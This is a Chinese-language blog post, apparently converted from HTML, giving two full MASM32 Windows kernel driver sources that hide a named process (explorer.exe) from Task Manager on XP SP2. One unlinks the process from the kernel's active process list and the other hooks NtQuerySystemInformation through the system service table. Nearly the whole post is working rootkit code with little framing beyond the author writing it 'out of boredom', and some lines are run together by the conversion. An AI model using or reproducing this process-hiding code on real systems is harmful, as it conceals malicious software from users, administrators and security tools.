C++ code colored by C++2HTML
		
		
		
		作者:dge
进程隐藏的两种方法
这两种都是很古老的方法,因为无聊,所以写了一下。代码在XP_SP2下调试通过.
(1).从活动进程链表(ActiveProcessLinks)中摘除自身,这种方法可以欺骗任务管理器,
下面这个程序做的就是双向链表的删除节点和插入节点,十分的简单。
.386
.model flat, stdcall
option casemap:noneinclude f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\ntoskrnl.inc
include f:\masm32\include\w2k\w2kundoc.inc
includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac
_DriverUnload proto :PDRIVER_OBJECT
_DispatchControlIo proto :PDEVICE_OBJECT,:PIRP
.const
CCOUNTED_UNICODE_STRING "\\Device\\devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHideprocess", g_usSymbolicLinkName, 4
.data
szHide                  db   'explorer.exe',0
Flink                   dd   ?
Blink                   dd   ?
Explorer                dd   ?
.code
DriverEntry proc uses ebx edi esi, pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
 local status:NTSTATUS
 local pDeviceObject:PDEVICE_OBJECT
 local   dwId,lpEprocess
        local   ListOffset,NameOffset
 local   IdOffset
 local   Version mov status,STATUS_DEVICE_CONFIGURATION_ERROR
 invoke IoCreateDevice,pDriverObject,0,addr g_usDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,addr pDeviceObject
 .if     eax==STATUS_SUCCESS
         mov eax,pDriverObject
  assume eax:ptr DRIVER_OBJECT
  mov [eax].DriverUnload,  offset _DriverUnload
  assume eax:nothing  invoke  PsGetVersion,NULL,addr Version,NULL,NULL
                mov     eax,Version
  cmp     eax,0
  jne     l1
  mov     ListOffset,0A0h
  mov     NameOffset,1fch
  jmp     l2
        l1:     cmp     eax,1
         jne     exit
  mov     ListOffset,88h
  mov     NameOffset,174h
        l2:     invoke  PsGetCurrentProcessId
         mov     dwId,eax
         invoke  PsLookupProcessByProcessId,dwId,addr lpEprocess
  mov     esi,lpEprocess
  add     esi,ListOffset
  mov     edi,esi
                assume  edi:PLIST_ENTRY
         assume  esi:PLIST_ENTRY   
        l3:     mov     edx,[esi].Flink                cmp     edx,edi
  je      l4
  assume  esi:nothing
  sub     esi,ListOffset
  add     esi,NameOffset
  invoke  strcmp,esi,addr szHide
  .if     eax == 0
          sub     esi,NameOffset
          add     esi,ListOffset
          mov     Explorer,esi
   assume  esi:PLIST_ENTRY
   assume  ebx:PLIST_ENTRY
   assume  eax:PLIST_ENTRY   mov     eax,[esi].Flink
   mov     ebx,[esi].Blink
   mov     [ebx].Flink,eax
   mov     [eax].Blink,ebx
   mov     Flink,eax
   mov     Blink,ebx
   assume  eax:nothing
   assume  ebx:nothing
   invoke DbgPrint,$CTA0("\n\n************hide process successful ***********\n\n")
   jmp     l4
                .endif                sub     esi,NameOffset
                add     esi,ListOffset
                assume  esi:PLIST_ENTRY
                mov     esi,[esi].Flink
                jmp     l3 
l4:
         assume  esi:nothing
                assume  edi:nothing                 
                mov     status,STATUS_SUCCESS       
exit:      
 .endif
 mov     eax,status
 ret
        mov     eax,STATUS_DEVICE_CONFIGURATION_ERROR
        ret
DriverEntry endp
_DriverUnload proc pDriverObject:PDRIVER_OBJECT        pushad
        mov     eax,Flink
 mov     ebx,Explorer
 assume  ebx:PLIST_ENTRY
 assume  eax:PLIST_ENTRY mov     [eax].Blink,ebx
 mov     [ebx].Flink,eax
 mov     eax,Blink
 mov     [eax].Flink,ebx
 mov     [ebx].Blink,eax
 
 popad invoke IoDeleteSymbolicLink,addr g_usSymbolicLinkName
 mov eax, pDriverObject invoke IoDeleteDevice,(DRIVER_OBJECT PTR [eax]).DeviceObject
 
 ret
_DriverUnload endp
end DriverEntry
(2).如果你反汇编taskmgr.exe,可以在发现taskmgr.exe是通过NtQuerySystemInformation枚举进程的,
因此可以通过挂钩系统服务NtQuerySystemInformation修改这个函数的行为,从而实现在任务管理器中隐藏进程的目的,下面就是实现代码。
.386
.model flat, stdcall
option casemap:none
include f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\native.inc
include f:\masm32\include\w2k\ntoskrnl.inc
includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac.datadwOldNtQuerySystemInformation  dd            ?
dwAddr                         dd            ?.const
CCOUNTED_UNICODE_STRING "\\Device\\devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHideprocess", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "explorer.exe", processname, 4.code
NewNtQuerySystemInformation     proc  SysInfoClass,lpSysInfo,SysInfoL,Return
                      
                    invoke NtQuerySystemInformation,SysInfoClass,lpSysInfo,SysInfoL,Return
                    pushad    
      test eax,eax
      jnz   exit
      .if    SysInfoClass == SystemProcessesAndThreadsInformation
             mov     esi,lpSysInfo
      mov     ebx,esi
             add     esi,[esi]
         @@:               add     esi,38h                           invoke  RtlCompareUnicodeString,addr processname, esi, 1
      .if    eax== 0
             invoke DbgPrint, $CTA0("\nsuccessful \n")
             .if    dword ptr[esi-38h] == 0
             mov dword ptr[ebx],0
      jmp    exit
             .else
             sub    esi,38h
             mov    edx,[esi]
                                         add    [ebx],edx
 
                                         add    esi,[esi]
             jmp    @B
                                  .endif
             .else
                                  sub    esi,38h
             cmp    dword ptr[esi],0
             jz     exit
             mov    ebx,esi
                                  add    esi,[esi]
      jmp    @B
             .endif
      .endif
                 
  exit:      popad
                    ret
NewNtQuerySystemInformation    endpHookFunction        proc
                    pushad      mov eax, [KeServiceDescriptorTable]
             mov esi, [eax]
      mov esi, [esi]      mov eax,ZwQuerySystemInformation
      inc eax
      inc eax
      mov eax,[eax]
      mov eax,[eax]
      inc eax
      movzx ecx,byte ptr[eax]
      sal ecx,2
      add esi,ecx
      mov dwAddr,esi
      mov edi,dword ptr[esi]      mov dwOldNtQuerySystemInformation,edi
                    mov edi,offset NewNtQuerySystemInformation      cli
      mov dword ptr[esi],edi
      sti
      popad
                    mov eax, STATUS_SUCCESS
      ret
HookFunction     endpDriverUnload        proc pDriverObject:PDRIVER_OBJECT
                   pushad                    mov esi,dwAddr
             mov eax,dwOldNtQuerySystemInformation
                    cli
             mov dword ptr[esi],eax
             sti
                    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
             mov eax,pDriverObject
             invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject
             popad
             ret
DriverUnload endpDriverEntry         proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
                    local status:NTSTATUS
      local pDeviceObject:PDEVICE_OBJECT             mov status, STATUS_DEVICE_CONFIGURATION_ERROR
                    invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
             .if    eax == STATUS_SUCCESS
      mov eax, pDriverObject
      assume eax:ptr DRIVER_OBJECT
      mov [eax].DriverUnload,  offset DriverUnload
                    assume eax:nothing
                           invoke HookFunction
      mov status, STATUS_SUCCESS
             .endif
             mov eax, status
             ret
DriverEntry         endp
end DriverEntry